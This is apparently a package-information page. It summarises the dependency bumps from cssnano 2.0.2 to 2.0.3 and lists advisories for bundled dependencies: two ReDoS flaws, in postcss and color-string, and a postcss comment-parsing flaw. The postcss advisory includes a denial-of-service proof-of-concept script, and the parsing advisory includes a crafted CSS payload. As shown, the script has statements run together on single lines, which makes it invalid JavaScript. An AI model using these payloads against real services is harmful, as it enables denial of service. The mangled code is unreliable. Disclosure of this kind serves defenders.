cssnano is a powerful and modular minifier for CSS, built on the PostCSS ecosystem, designed to optimize CSS code for production environments. Comparing versions 2.0.3 and 2.0.2, developers will notice incremental improvements primarily reflected in dependency updates. The key difference lies in the updated versions of core PostCSS plugins. Specifically, postcss is bumped from version ^4.1.13 to ^4.1.14, and postcss-normalize-url moves from ^2.0.2 to ^2.0.3. Furthermore, postcss-convert-values sees an update from ^1.2.2 to ^1.2.3, and webpack from version ^1.10.0 to ^1.10.1.
These updates likely contain bug fixes, performance enhancements, and compatibility improvements within those respective plugins which cascade into cssnano's overall minification process. Users might benefit from slightly improved compression ratios, better handling of edge cases in CSS syntax, or increased stability. Developers should note these dependency bumps when integrating cssnano into their build process to ensure compatibility with their existing PostCSS configurations. While the core functionality of cssnano remains consistent between these versions—offering features like CSS compression, dead code elimination, and URL normalization—keeping up with these updates ensures leveraging the latest enhancements from the underlying PostCSS ecosystem, making it a valuable tool for any web development workflow aiming to deliver optimized CSS.
All the vulnerabilities related to the version 2.0.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.